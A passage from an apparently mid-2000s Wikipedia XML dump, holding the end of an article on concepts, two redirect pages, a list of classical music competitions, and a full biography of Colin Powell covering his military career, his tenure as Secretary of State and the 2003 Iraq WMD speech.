Similarity is the key to this process. The mind can retain the characteristics of similar concretes without specifying their measurements, which vary from case to case. 'A concept is a mental integration of two or more units possessing the same distinguishing characteristic(s), with their particular measurements omitted.' 
     
The basic principle of concept-formation (which states that the omitted measurements must exist in some quantity, but may exist in any quantity) is the equivalent of the basic principle of [[algebra]], which states that algebraic symbols must be given some numerical value, but may be given any value. In this sense and respect, perceptual awareness is the [[arithmetic]], but conceptual awareness is the algebra of [[cognition]].


== Concepts in Sciences ==

Concepts are extremely useful for the development of science. It would be difficult to imagine science without the concepts like: [[energy]], [[force]], acceleration, [[time]], [[charge]], [[gravity]], field ( The [[list of concepts in science|list]] can be almost endless). Some illustrative examples of concepts in physical science are: [[absorption]], [[acid]], [[acceleration]], [[activation]], [[activity]], [[adsorption]], [[celestial body atmosphere|atmosphere]], [[alkali]], [[amorphous]], [[angular]], [[anisotropy]] [[aromatic]], [[atom]], [[azeotrope]], [[ballast]], [[bandwidth]], [[base]], [[baryons]], [[bond]], [[body]], [[capacitance]], [[catalyst]], [[choke]], [[circuit]], [[color]], [[Conductor (material)|conductor]], [[covalent]], [[crystalline]], [[coherent]], [[concentration]], [[degree (angle)]], [[degree (temperature)]], [[density]], [[dielectric]],  [[diploid]], [[direction]], [[dipole]], [[dissociation]],  [[distance]],  [[ductile]], [[electron]], [[electronegativity]], [[elastic]], [[element]], [[energy]], [[enthalpy]], [[entropy]], [[equilibrium]], [[experiment]], [[Field_%28physics%29|field]], [[induction]], [[torque]], [[velocity]], [[wave]].  

Similarly, there are concepts in  [[biological sciences]], for example, [[animal]], [[biome]], [[chromosome]], [[death]], [[egg]], [[fertile]],  [[gene]], [[growth]], [[gymnosperm]], [[heredity]], [[hybrid]], [[life]], [[living being]], [[Organ (anatomy)|organ]], [[organism]], [[ovule]], [[plant]], [[prokaryote]], [[soil]], [[vascular]], [[zygote]] and there are concepts in [[social sciences]] viz. [[Capital_%28disambiguation%29|capital]], [[commodity]], [[finance]], [[Geist_%28philosophy%29|geist]], [[Psyche_%28psychology%29|psyche]], [[society]], [[wealth]] [[community]] etc. 

Concepts help to integrate apparently unrelated [[obsevations]] and [[phenomena]] into viable hypothesis and theories, the basic ingredients of science. But, somehow this nature of these concepts is rarely emphasized when they are introduced in school. The result is that many students feel confused. Many people have realized this and have introduced a term [[concept map]] that helps students to learn the inter-relationships between various concepts.

==Concepts in Mathematics==
According to [[Carl Benjamin Boyer]], in the introduction to his ''The History of the Calculus and its Conceptual Development'', concepts in calculus do not refer to perceptions. As long as the concepts are useful and mutually compatible, they are accepted on their own. For example, the concepts of the [[derivative]] and the [[integral]] are not considered to refer to spatial or temporal perceptions of the external world of experience. Neither are they related in any way to mysterious [[limit]]s in which quantities are on the verge of nascence or evanescence, that is, coming into or going out of appearance or existence. The abstract concepts are now considered to be totally autonomous, even though they originated from the process of abstracting or taking away qualities from perceptions until only the common, essential attributes remained.   

== See also ==
{{col-begin}}
{{col-break}}
* [[Abstraction]]
* [[Categorization]]
* [[Class (philosophy)]]
* [[Concept and object]]
* [[Concept map]]
* [[Conceptual art]]
* [[Conceptual framework]]
* [[Formal concept analysis]]
{{col-break}}
* [[Hypostatic abstraction]]
* [[Idea]]
* [[Meme]]
* [[Misconception]]
* [[Philosophy]]
* [[Prescisive abstraction]]
* [[Social construction]]
* [[Symbol grounding|Symbol Grounding]] Problem
{{col-end}}

==References==
*''The History of Calculus and its Conceptual Development'', [[Carl Benjamin Boyer]], Dover Publications, ISBN 486-60509-4  
*''The Writings of William James'', University of Chicago Press, ISBN 0-226-39188-4
*''[[Logic]]'', Immanuel [[Kant]], Dover Publications, ISBN 0-486-25650-2
*''[[A System of Logic]]'', John Stuart Mill, University Press of the Pacific, ISBN 1-4102-0252-6
*''[[Parerga and Paralipomena]]'', Arthur Schopenhauer, Volume I, Oxford University Press, ISBN 0-19-824508-4
*''What is Philosophy?'', Gilles Deleuze and Félix Guattari

==External links==
*[http://www.medinf.mu-luebeck.de/~ingenerf/pg_term/fn4#fn4 ISO 1087 - Terminology / Vocabulary (1990)]

[[Category:Logic]]
[[Category:Semantics]]
[[Category:Philosophical terminology]]

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[[eo:Koncepto]]
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[[ja:概念]]
[[lt:Koncepcija]]
[[mk:Концепт]]
[[nl:Begrip]]
[[pl:Pojęcie]]
[[pt:Conceito]]
[[ru:Понятие]]
[[zh:概念]]</text>
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  <page>
    <title>Cell Cycle</title>
    <id>6979</id>
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      <id>15905086</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cell cycle]]
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  </page>
  <page>
    <title>Caltrans</title>
    <id>6980</id>
    <revision>
      <id>15905087</id>
      <timestamp>2004-09-20T05:50:35Z</timestamp>
      <contributor>
        <username>Radiojon</username>
        <id>15970</id>
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      <minor />
      <text xml:space="preserve">#redirect [[California Department of Transportation]]  [[category:portmanteaus]]</text>
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  </page>
  <page>
    <title>List of classical music competitions</title>
    <id>6982</id>
    <revision>
      <id>40123866</id>
      <timestamp>2006-02-18T08:21:34Z</timestamp>
      <contributor>
        <ip>71.142.246.5</ip>
      </contributor>
      <text xml:space="preserve">This is a list of [[European classical music|classical music]] [[competition]]s.

* [[Bathroom Divas|Bathroom Divas: So You Want To Be An Opera Star?]]
* [[Bartok-Kabalevsky-Prokofieff Piano Competition]]
* [[BBC Singer of the World competition]], [http://www.bbc.co.uk/wales/singeroftheworld03/]
* [[Cleveland International Piano Competition]], summer of each odd numbered year, $50,000 1st prize. [http://clevelandpiano.org]
* [[Concert Artist's Guild]], a series of competitions for younger, up-and-coming musicians, [http://www.concertartists.org]
* [[Concurso Internacional de Piano Paloma O'shea]] (also known as Concurso de Piano de Santander)[http://www.fundacionalbeniz.com/]
* [[CyberSing 2004]], an international web-based art song competition, [http://www.lottelehmann.org/cybersing2004/]
* [[5 Town Music Piano Competition]], [http://www.uk-piano.org/5towns/index.html]
* [[Guido Cantelli Conducting Competition]], one winner was [[Eliahu Inbal]].
* [[Glenn Gould Prize]].
* [[Kingsville International Piano Concerto Competition]]
* [[Leeds]] International Pianoforte Competition [http://www.leedspiano.com/]
* [[Marguerite Long-Jacques Thibaud Competition]] Paris
* [[Naumburg International Piano Competition ]]
* The [[Queen Elisabeth Concours]], located in [[Brussels]], [[Belgium]], it is a competition for performers.
* [[International Frederick Chopin Piano Competition]] - The most prestigious competition of its kind in the world.
* International Franz Liszt Piano Competition [http://www.liszt.nl/]
* [[Sydney International Piano Competition of Australia]], June 2004 marks the 8th annum
* [[Terence Judd Award]]
* [[International Tchaikovsky Competition]]
* The [[Van Cliburn International Piano Competition]], held by the [[Van Cliburn Foundation]]. [[Van Cliburn]] himself was a winner of the Tchaikovsky. [http://cliburn.org]
* [[Henryk Wieniawski Violin Competition]] in [[Poznan]], [[Poland]]
* [[International Jean Sibelius Violin Competition]], [[Finland]]
* International [[Paganini competition]]

==External links==
*[http://www.classical.net/music/links/musicfest.html ClassicalNet: Festivals, Competitions, Concerts &amp; Concert Venues]
*{{dmoz|Arts/Music/Resources/Competitions/Classical | Classical music competitions}}

{{classical-composition-stub}}

[[Category:Music competitions]]</text>
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  <page>
    <title>Colin Powell</title>
    <id>6984</id>
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      <text xml:space="preserve">{| id=&quot;infobox&quot; style=&quot;margin-left:1em; float:right;&quot;
|+ style=&quot;font-size:larger;&quot;|
|-
|style=&quot;text-align:center;&quot; colspan=&quot;2&quot;| [[Image:SecyPowell.png|Secretary of State Colin Powell]]
|-
|'''Order'''
|65th Secretary of State
|-
|style=&quot;padding-right:1em;&quot;|'''Term of Office'''
|[[January 20]], [[2001]] -&lt;br /&gt;[[January 26]], [[2005]]
|-
|'''Predecessor'''
|[[Madeleine Albright]]
|- 
|'''Successor'''
|[[Condoleezza Rice]]
|-
|'''Date of Birth'''
|[[April 5]], [[1937]]
|-
|'''Place of Birth'''
|[[The Bronx, New York]] 
|-
|'''[[Spouse]]'''
|Alma Vivian Johnson Powell
|-
|'''[[Profession]]'''
|[[Soldier]], [[Statesman]]
|-
|'''[[Political party|Political Party]]'''
|[[Republican Party (United States)|Republican]]
|}
'''General Colin Luther Powell, United States Army (Ret.)''' [[Order of the Bath|KCB]] (born [[April 5]], [[1937]]) was the 65th [[United States Secretary of State]], serving from [[January 20]], [[2001]] to [[January 23]], [[2005]] under [[President of the United States|President]] [[George W. Bush]].  Nominated by Bush on [[December 16]], [[2000]] and unanimously confirmed by the [[United States Senate]], Powell became the highest ranking [[African American]] government official in the history of the United States (now having been tied by his successor, [[Condoleezza Rice]]). As a [[general]] in the [[United States Army]], Powell also served as [[United States National Security Advisor|National Security Advisor]] (1987–1989) and [[Chairman of the Joint Chiefs of Staff]] (1989–1993). 

==Military career==
[[Image:genpowell.jpg|thumb|200px|right|Colin Powell as Chairman of the Joint Chiefs of Staff.]]
Colin Powell was born in The [[Bronx]], [[New York City]] in [[1937]]. His parents had immigrated from [[Jamaica]]. Powell always spoke warmly of his parents as loving and hard working. He wrote in his autobiography &quot;Its the luck of the draw when you are given parents and I couldn't have been luckier&quot;. An indifferent student, Powell attended the [[City College of New York]] and obtained a degree in geology. He later spoke of how he &quot;found himself&quot; when he joined [[ROTC]]. He later described it as one of the happiest experiences of his life finding something he loved and could do well. Cadet Powell joined the Pershing Rifles. This was the elite ROTC drill team named after [[General of the Army]] [[John Pershing]]. Even after Powell became a four star general, he still kept on his desk a pen set that he won for a drill team competition. 

Powell was a professional soldier for 35 years, during which time he held a variety of command and staff positions and rose to the rank of 4-star [[General]].  Powell obtained an [[MBA]] from [[George Washington University]] in 1971 and then served a [[White House fellowship]] under President [[Richard Nixon]]. In his autobiography ''My American Journey'', Powell mentioned several officers he served under that inspired and mentored him.

As a young [[Lieutenant-Colonel]] serving in [[South Korea]], for example, Powell was very close to General [[Henry &quot;Gunfighter&quot; Emerson]]. Powell said he regarded this man as one of the most caring officers he ever served under. Emerson had a somewhat eccentric personality. For example, he insisted his troops train only at night and made them repeatedly watch the television film ''[[Brian's Song]]'' to promote racial harmony. Powell always professed, however, that what set Emerson apart was his great love of his soldiers and concern for their welfare.

Powell is connected with the [[My Lai Massacre]]. He was then a [[United States Army|US Army]] [[Major]], charged with investigating the massacre. Powell wrote: &quot;In direct refutation of this portrayal is the fact that relations between American soldiers and the Vietnamese people are excellent.&quot;  Later, Powell's refutation would be called an act of &quot;white-washing&quot; the news of the Massacre, and questions would continue to remain undisclosed to the public. On May 4, 2004, [[United States Secretary of State]] Colin L. Powell said to [[Larry King]], &quot;I mean, I was in a unit that was responsible for My Lai. I got there after My Lai happened. So, in war, these sorts of horrible things happen every now and again, but they are still to be deplored.&quot; [http://www.state.gov/secretary/former/powell/remarks/32160.htm]. [[Ward Churchill]] is one of those who has accused Powell of being responsible for the 'cover-up'.

In the early 1980s, Powell served at [[Fort Carson, Colorado]]. It was there that he had a major clash with General [[John Hudachek]] his commander. Hudachek said in an efficiency evaluation that Powell was a poor leader who should not be promoted. Many of Powell's supporters have said this was pettiness and spite on Hudachek's part.

===Dates of rank===
* [[Second Lieutenant#United States of America|Second Lieutenant]]: [[9 June]] [[1957]]
* [[First Lieutenant]]: [[30 December]] [[1959]]
* [[Captain#Army and Marines|Captain]]: [[2 June]] [[1962]]
* [[Major (United States)|Major]]: [[24 May]] [[1966]]
* [[Lieutenant Colonel (United States)|Lieutenant Colonel]]: [[9 July]] [[1970]]
* [[Colonel (United States)|Colonel]]: [[1 February]] [[1976]]
* [[Brigadier General#United States|Brigadier General]]: [[1 June]] [[1979]]
* [[Major General#United States|Major General]]: [[1 August]] [[1983]]
* [[Lieutenant General (United States)|Lieutenant General]]: [[1 July]] [[1986]]
* [[General (United States)|General]]: [[4 April]] [[1989]]

===Awards and decorations===
* [[Defense Distinguished Service Medal]] with three [[oak leaf clusters]]
* [[Distinguished Service Medal (Army)|Army Distinguished Service Medal]] with oak leaf cluster 
* [[Defense Superior Service Medal]]
* [[Legion of Merit]] with oak leaf cluster
* [[Soldier's Medal]]
* [[Bronze Star Medal]]
* [[Purple Heart]]
* [[Air Medal]]
* [[Joint Service Commendation Medal]]
* [[Army Commendation Medal]] with two oak leaf clusters
* [[National Defense Service Medal]] with one bronze [[service star]]
* [[Vietnam Service Medal]] with one silver service star
* [[Army Overseas Service Ribbon]] with [[award numeral|numeral]] 3
* [[Army Service Ribbon]]
* [[Combat Infantryman Badge]]
* [[Ranger Tab]]
* [[Air Assault Badge]]
* [[Parachutist Badge]]
* [[Presidential Service Badge]]
* [[Office of the Secretary of Defense Identification Badge]]
* [[Office of the Joint Chiefs of Staff Identification Badge]]
* [[Army Staff Identification Badge]]
* [[Vietnam Campaign Medal]]
* [[Vietnam Gallantry Cross]] Vietnam Gallantry Cross Unit Citation with Palm

==Presidential appointments==
===National Security Advisor===
At the age of 49, Powell left the army to become [[Ronald Reagan]]'s last National Security Advisor, from 1987 to 1989.

===Chairman of the Joint Chiefs of Staff===
His last military assignment, from [[October 1]], [[1989]] to [[September 30]], [[1993]], was as the 12th Chairman of the [[Joint Chiefs of Staff]], the highest military position in the [[United States Department of Defense|Department of Defense]]. During this time, he oversaw 28 crises, including [[Operation Desert Storm]] in the 1991 [[Gulf War|Persian Gulf War]]. During these events, Powell earned a reputation as being a very dovish military leader. He rarely advocated military intervention as the first solution to an [[international dispute]], and instead usually prescribed [[diplomacy]] and [[containment]].

Powell mentioned in his autobiography that he is haunted by the nightmare of the [[Vietnam War]]. He felt the leadership was very ineffective. Powell served a tour in [[Vietnam]] as a military advisor, and was badly injured when he stepped on a bamboo &quot;[[punji stick]]&quot;. The massive infection nearly killed him and it shortened his first tour. It was also during his Vietnam service, his second tour, that Powell was decorated for bravery. He single-handedly rescued several men from a burning helicopter, one of them being Maj. Gen. [[Charles Gettys]], the commander of the [[Americal Division]]. 

He was opposed to the majority of George H.W. Bush Administration officials who advocated the deployment of troops to the [[Middle East]] to force [[Iraq]]i president [[Saddam Hussein]] to withdraw his armies from neighbouring [[Kuwait]], believing the dictator could instead be contained through [[sanctions]] and a buildup of forces around Kuwait.

As an officer, Powell also valued [[loyalty]] very highly, and as a result, did not usually undermine policies he disagreed with after they were implemented. Thus, while initially opposing the plan that would become Operation Desert Storm, Powell nevertheless supported it once it became official policy, and gave it his full dedication.  A strategy he outlined for Operation Desert Storm, the use of &quot;overwhelming force&quot; to achieve a military objective while minimizing U.S. casualties, became known as the &quot;[[Powell doctrine]]&quot;.

Powell's successful career within the military has not been entirely free of controversy, however. During the Vietnam War, Powell, as deputy assistant chief of staff at the [[Americal Division|Americal]] (the [[23rd Infantry Division]]) with the rank of Major, was charged with investigating a detailed letter by Tom Glen (a soldier from the [[11th Light Infantry Brigade]]), which backed up rumored allegations of the [[My Lai massacre]]. Powell's response was largely seen as a cover-up; he wrote: &quot;In direct refutation of this portrayal is the fact that relations between American soldiers and the Vietnamese people are excellent.&quot; 

Another controversial part of his career is that Powell also had an operational role in the illegal [[Iran-Contra affair]], acting as the initial coordinator for selling missiles to [[Iran]] in exchange for American hostages.

==Civilian career==
Following his retirement from the armed services, Powell wrote a best-selling memoir, ''My American Journey''. In addition, he pursued a career as a public speaker, addressing audiences across the country and abroad. 

Colin Powell's experience in military matters made him a very popular figure with both American political parties. Many [[Democratic Party (United States)|Democrats]] admired his moderate stance on military matters, while many [[Republican Party (United States)|Republicans]] saw him as a great asset associated with the successes of past Republican administrations. Powell eventually declared himself a Republican, and began to campaign for Republican candidates. He was touted as a possible opponent of [[Bill Clinton]] in the [[1996 U.S. Presidential Election]], but Powell declined, it is rumored, at the advice of his wife. 

In 1997 Powell founded [[America's Promise]] with the objective of helping children from all socioeconomic sectors. Powell often wears the [[logotype|logo]] of the organization in the form of a red wagon pin on his lapel. 

Colin Powell was serving on the board of [[America Online]] when it announced its intention to merge with [[Time Warner]] in January, 2000. Powell's son, [[Michael Powell|Michael]], was a member of the [[Federal Communications Commission]] at the time, and he was the only commissioner who advocated letting the AOL-Time Warner deal go through without scrutiny. Powell's stock in the company reportedly increased in value by US$4 million. The affair caused some controversy as it called into question the Powells' impartiality in the matter.

In the [[U.S. presidential election, 2000|2000 U.S. Presidential Election]] Powell campaigned for Texas Governor George W. Bush, serving as a key [[foreign policy]] advisor to the campaign. At the same time, it was often hinted that Powell might be appointed to a position within a Democratic administration, should [[Al Gore]] win. Bush eventually won, and Colin Powell was appointed as the first [[African American]] Secretary of State.

==Secretary of State==
[[Image:RicePowellBushRumsfeld.jpg|thumb|300px|Powell, National Security Advisor [[Condoleezza Rice]] and Secretary of Defense [[Donald Rumsfeld]] listen to President [[George W. Bush]] speak.]]

As [[United States Secretary of State | Secretary of State]] in the Bush administration, Powell was perceived as moderate, his pragmatism serving as a balance to more ideology-driven [[War Hawk|hawks]], such as Secretary of Defense [[Donald Rumsfeld]] and his colleagues [[Paul Wolfowitz]] and [[Richard Perle]]. Powell's great asset was his tremendous popularity among the American people. However, over the course of his tenure he traveled less than any other U.S. Secretary of State in 30 years, which may have contributed to the declining image of the United States abroad.

After [[September 11, 2001 attacks|September 11]], Powell's job became of critical importance in managing America's relationships with foreign countries in order to secure a stable coalition in the [[War on Terrorism]]. However, some of his actions during the War on Terrorism have been controversial, prompting heavy criticism from some parties.

In April 2002, he visited the site of the [[Jenin Massacre]] in the occupied [[West Bank]] and later said while testifying to Congress, &quot;I've seen no evidence that would suggest a massacre took place.&quot; Recalling the My Lai episode, critics condemned Powell as a &quot;company man&quot; unwilling to confront uncomfortable realities or rock the boat. These critical comments came at a time when details of the events at Jenin were still unclear. Later investigations by human rights organizations and the United Nations confirmed the Israeli estimate for the number of Palestinians, including militants, dead in the fighting, placing the figure at 52.

[[Image:shalom_powell.jpg|thumb|left|295px|Colin Powell with [[Silvan Shalom]].]]

More recently, Powell has come under fire for his role in building the case for the [[2003 Invasion of Iraq]]. In a press statement on [[February 24]], [[2001]] he had said that sanctions against Iraq had prevented the development of any weapons of mass destruction by [[Saddam Hussein]]. As was the case in the days leading up to the Persian Gulf War, Powell was initially opposed to a forcible overthrow of Hussein, preferring to continue a policy of containment. However, Powell eventually agreed to go along with the Bush administration's determination to remove Hussein. He had often clashed with the hawks in the administration, who were reportedly planning an Iraq invasion even before the September 11 attacks—an insight supported by testimony by former terrorism czar [[Richard A. Clarke|Richard Clarke]] in front of the [[9/11 Commission]]. The main concession Powell wanted before he would offer his full support for the Iraq War was the involvement of the international community in the invasion, as opposed to the unilateral approach some of the hawks were advocating. He was also successful in persuading Bush to take the case of Iraq to the United Nations, and in moderating other initiatives. Powell was placed at the forefront of this diplomatic campaign.

[[Image:IraqMobileProductionFacilities.jpg|thumb|305px|Computer-generated image of an alleged mobile production facility for biological weapons, presented by Colin Powell at the UN [[The UN Security Council and the Iraq war|Security Council]]. Absence of more substantial proofs undermined the credibility of the speech on the international scene. Russian experts have always questioned the existence of such mobile facilities, which would be extremely dangerous and difficult to manage.]]

Powell's chief role was to [[The UN Security Council and the Iraq war|garner international support]] for a multi-national [[coalition]] to mount the invasion. To this end, Powell addressed a plenary session of the [[United Nations Security Council]] on [[February 5]], [[2003]] to argue in favor of military action. Citing &quot;numerous&quot; anonymous Iraqi defectors, Powell asserted that &quot;there can be no doubt that Saddam Hussein has biological weapons and the capability to rapidly produce more, many more.&quot; [http://www.state.gov/secretary/former/powell/remarks/2003/17300.htm] Powell also stated that there was &quot;no doubt in my mind&quot; that Saddam was working to obtain key components to produce nuclear weapons.

While Powell's oratorical skills and personal conviction were acknowledged, there was an overall rejection of the evidence Powell offered that the regime of Saddam Hussein possessed [[weapons of mass destruction]] (WMDs). A Senate report on intelligence failures would later detail the intense debate that went on behind the scenes on what to include in Powell's speech. State Department analysts had found dozens of factual problems in drafts of the speech. Some of the claims were taken out, but others were left in, such as claims based on the [[yellowcake forgery]]. [http://www.commondreams.org/headlines04/0715-05.htm] The administration is currently under fire for having acted on faulty intelligence. Reports have indicated that Powell himself was skeptical of the evidence presented to him. &lt;!-- anyone have a link? --&gt; In September 2005, Powell was asked about the speech during an interview with [[Barbara Walters]] and responded that it was a &quot;blot&quot; on his record. He went on to say, &quot;it will always be a part of my record. It was painful. It's painful now.&quot; [http://abcnews.go.com/2020/Politics/story?id=1105979&amp;page=1][http://www.latimes.com/news/nationworld/politics/wire/sns-ap-powell-iraq,1,1466470.story?coll=sns-ap-politics-headlines] 

Because Powell is seen as more moderate than most figures in the administration, he has been spared many of the attacks that have been leveled at more controversial advocates of the invasion, such as Donald Rumsfeld and Paul Wolfowitz. At times, infighting between the Powell-led State Department, the Rumsfeld-led Defense Department, and Vice President [[Dick Cheney]]'s office had the effect of paralyzing the administration on crucial issues, such as what actions to take regarding Iran and North Korea.

[[Image:Jaap de Hoop Scheffer.jpg|thumb|left|Secretary Powell with NATO Secretary General [[Jaap de Hoop Scheffer]].]]

After Saddam Hussein had been deposed, Powell's new role was to once again establish a working international coalition, this time to assist in the rebuilding of post-war Iraq. On [[September 13]], [[2004]], Powell testified before the Senate Governmental Affairs Committee, [http://www.washingtonpost.com/wp-dyn/articles/A18890-2004Sep13.html] acknowledging that the sources who provided much of the information in his February 2003 UN presentation were &quot;wrong&quot; and that it was &quot;unlikely&quot; that any stockpiles of WMDs would be found. Claiming that he was unaware that some intelligence officials questioned the information prior to his presentation, Powell pushed for reform in the intelligence community, including the creation of a national intelligence director who would assure that &quot;what one person knew, everyone else knew&quot;.

Colin Powell announced his resignation on Monday, [[November 15]], [[2004]]. He announced that he would stay on until his replacement's confirmation by Congress.  The following day, George W. Bush nominated National Security Advisor [[Condoleezza Rice]], as Powell's successor.  News of his resignation spurred mixed reactions from politicians around the world—some upset at the loss of a statesman seen as a moderating factor within the Bush administration, but others hoping for Powell's successor to wield more influence within the cabinet, and thus be a more credible negotiator.

In mid-November, Colin Powell stated that he had information indicating that [[Iran]] was adapting missiles for a nuclear delivery system. ''[[The New York Times]]'' indicated that the accusation was founded on a single, unreliable source. The accusation came at the same time as the settlement of an agreement between the [[International Atomic Energy Agency|IAEA]], the [[European Union]] and [[Iran]].

On [[December 31]], [[2004]], Powell rang in the New Year by throwing the ball in [[Times Square]] with New York City Mayor [[Michael Bloomberg]], ushering in the year 2005. He appeared on the networks that were broadcasting New Year's Eve specials and talked about this honor, as well as being a native of New York City, [[American Broadcasting Company|ABC]], [[CNN]], [http://transcripts.cnn.com/TRANSCRIPTS/0412/31/se.01.html] and [[Fox News Channel]].

==Life after politics==
After retiring from the role of Secretary of State, Powell returned to private life, but in April 2005 he [http://www.guardian.co.uk/usa/story/0,12271,1468438,00.html telephoned] Republican senators [[Lincoln Chafee]] and [[Chuck Hagel]] to express his opposition to the nomination of [[John R. Bolton]] as ambassador to the [[United Nations]] (Powell had clashed with him during Bush's first term). The decision was viewed as potentially dealing significant damage to Bolton's chances of confirmation.

On [[28 April]] ''[[The Guardian]]'' reported that Powell was in fact &quot;conducting a campaign&quot; against Bolton because of the acrimonious battles they had had whilst working together, which among other things had resulted in Powell cutting Bolton out of talks with Iran and Libya after complaints about Bolton's involvement from the British. It added that &quot;The foreign relations committee has discovered that Bolton made a highly unusual request and gained access to 10 intercepts by the [[National Security Agency]]... Staff members on the committee believe that Bolton was probably spying on Powell, his senior advisers and other officials reporting to him on diplomatic initiatives that Bolton opposed.&quot; [http://www.guardian.co.uk/comment/story/0,3604,1471879,00.html]

In July 2005, Powell joined [[Kleiner, Perkins, Caufield &amp; Byers]], a well-known [[Silicon Valley]] [[venture capital]] firm, with the title of &quot;strategic limited partner.&quot; 

In September 2005, Powell criticized response to [[Hurricane Katrina]]. [http://news.bbc.co.uk/1/hi/world/americas/4229238.stm]

On [[January 5]] [[2006]], he participated in a meeting at the [[White House]] of former Secretaries of Defense and State to discuss United States foreign policy with Bush administration officials.

He is reportedly being considered to become a member of the [[Harvard Corporation]] after [[Conrad Harper]].

==Political views==
A moderate [[Republican Party (United States)|Republican]], Powell is well known for his willingness to support [[liberalism|liberal]] or [[centrist]] causes. He is [[pro-choice]] regarding [[abortion]], [http://aad.english.ucsb.edu/docs/epowell.html] in support of [[affirmative action]], and in favor of &quot;reasonable&quot; [[gun control]]. However, Powell is opposed to allowing gays to serve openly in the military and played a crucial role in derailing President Clinton's 1993 plans on that matter.

Powell was the subject of controversy in 2004 when, in a conversation with British [[Foreign Secretary]], [[Jack Straw]], he referred to [[neocons]] within the Bush administration (Cheney, Rumsfeld and others) as &quot;fucking crazies&quot;[http://www.guardian.co.uk/usa/story/0,12271,1353796,00.html].  In addition to being reported in the press (though generally, the expletive was censored in the US press), the quote was used by [[James Naughtie]] in his book, &quot;The Accidental American: Tony Blair and the Presidency&quot;

==Civilian awards==
[[Image:Colin_Powell_COA 1.png|thumb|200px|right|Personal Coat of Arms of Colin Powell]]

Powell's civilian awards include two [[Presidential Medal of Freedom|Presidential Medals of Freedom]], the President's [[Presidential Citizens Medal|Citizens Medal]], the [[Congressional Gold Medal]], the Secretary of State Distinguished Service Medal, and the Secretary of Energy Distinguished Service Medal. Several schools and other institutions have been named in his honor and he holds honorary degrees from universities and colleges across the country. 

On [[December 15]], [[1993]], Colin Powell was made an honorary Knight Commander of the [[Order of the Bath]] by Queen [[Elizabeth II of the United Kingdom]].  

The Coat of Arms of Colin Powell was granted by the [[Lord Lyon]] in [[Edinburgh]] on [[February 4]], [[2004]].  Technically the grant was to Powell's father (a British subject) to be passed on by descent.  [[Scotland]]'s [[King of Arms]] was asked to make the grant as the family of Colin Powell's mother is from [[Aberdeenshire (traditional)|Aberdeenshire]].  Blazoned as:

''Azure, two swords in saltire points downwards between four mullets Argent, on a chief of the Second a lion passant Gules.
On a wreath of the Liveries is set for Crest the head of an American bald-headed eagle erased Proper.  And in an escrol over the same this motto, &quot;DEVOTED TO PUBLIC SERVICE.&quot;''

The swords and stars refer to the former general's career, as does the crest, which is the badge of the 101st Airborne (which he served as a brigade commander in the mid-1970's).  The lion may be an allusion to Scotland. The shield can be shown surrounded by the insignia of an honorary Knight Commander of the Most Honourable [[Order of the Bath]] (KCB), an award the General received after the first Gulf War.

In 2005 Powell received the [[Bishop John T. Walker Distinguished Humanitarian Service Award]] for his contributions to [[Africa]].

Powell is a  recipient of the [[Silver Buffalo Award]], the highest adult award given by the [[Boy Scouts of America]].

==Related information==
The character of General Casey, played by [[Paul Winfield]], in the 1996 film ''[[Mars Attacks!]]'' is widely regarded to have been based on Colin Powell.[http://www.chicagoreader.com/movies/archives/1296/12136.html] &lt;!-- Flirting With Disaster by Jonathan Rosenbaum --&gt; [http://query.nytimes.com/gst/fullpage.html?res=9F04EEDA173EF930A25751C1A960958260] &lt;!-- The Moral: Be Careful of Aliens by JANET MASLIN --&gt;

Powell underwent surgery in 2003 for [[prostate cancer]] and made a full recovery.

[[Burke's Peerage]] speculated that General Colin Powell's great-great-great-grandmother was an illegitimate child of Sir [[Eyre Coote]] —  the Lieutenant [[Governor of Jamaica]] — and an African slave. This would mean that he is descended from [[Edward I of England]], and thus is a distant relative of [[George W. Bush]].

==See also==
* [[Pottery Barn rule]]
* [[Plame affair]]

==Further reading==
* Powell, Colin A. and Joseph Persico, ''[[My American Journey]]'', ISBN 0345407288

==External links==
{{wikiquote}}
{{wikisource|Author:Colin L. Powell}}
{{commons|Colin Powell}}
* [http://www.state.gov/secretary/former/powell/remarks/2003/17300.htm Remarks to the United Nations Security Council], [[February 5]], [[2003]]
* [http://www.guardian.co.uk/comment/story/0,3604,1471879,00.html The good soldier's revenge], [[Sidney Blumenthal]], [[The Guardian]], [[28 April]] [[2005]]
* [http://www.achievement.org/autodoc/page/pow0int-1 Exclusive interview with online video from Achievement.org]
* [http://news.bbc.co.uk/2/hi/americas/2246150.stm BBC News profile of Colin Powell]
* [http://www.newsmeat.com/washington_political_donations/Colin_Powell.php Colin Powell's political donations]
* [http://www.state.gov/secretary/former/powell/remarks/2001/933.htm Press Remarks with Foreign Minister of Egypt Amre Moussa]; U.S. Department of State; [[February 24]], [[2001]].  Powell says sanctions against Iraq have prevented development of any significant capability with respect to using weapons of mass destruction against its neighbors.

{{start box}}
{{succession box| before=[[Frank Carlucci]]| title=[[United States National Security Advisor|National Security Advisor]]| years=1987–1989| after=[[Brent Scowcroft]]}}
{{succession box| before=[[William J. Crowe]]| title=[[Chairman of the Joint Chiefs of Staff]]| years=1989–1993| after=[[David E. Jeremiah]] (''acting Chairman'')}}
{{succession box| before=[[Madeleine Albright]]| title=[[United States Secretary of State]]| years=[[January 20]], [[2001]]–[[January 26]], [[2005]]| after=[[Condoleezza Rice]]}}
{{end box}}

{{USSecState}}
{{JCS}}
{{NSAA}}

[[Category:1937 births|Powell, Colin]]
[[Category:African American intellectuals|Powell, Colin]]
[[Category:African American politicians|Powell, Colin]]
[[Category:Bronxites|Powell, Colin]]
[[Category:Caribbean-Americans|Powell, Colin]]
[[Category:Chairmen of the Joint Chiefs of Staff|Powell, Colin]]
[[Category:Council on Foreign Relations member|Powell, Colin]]
[[Category:Colin Powell|*]]
[[Category:Episcopalians|Powell, Colin]]
[[Category:George Washington University alumni|Powell, Colin]]
[[Category:Knights Commander of the Bath|Powell, Colin]]
[[Category:Living people|Powell, Colin]]
[[Category:People of Jamaican heritage|Powell, Colin]]
[[Category:Plame affair|Powell, Colin]]
[[Category:Presidential Medal of Freedom recipients|Powell, Colin]]
[[Category:Pro-choice politicians|Powell, Colin]]
[[Category:Recipients of the Legion of Merit|Powell, Colin]]
[[Category:Recipients of the Purple Heart medal|Powell, Colin]]
[[Category:Silver Buffalo awardees|Powell, Colin]]
[[Category:Soldier's Medal recipients|Powell, Colin]]
[[Category:Spingarn Medal winners|Powell, Colin]]
[[Category:United States Army generals|Powell, Colin]]
[[Category:United States National Security Advisors|Powell, Colin]]
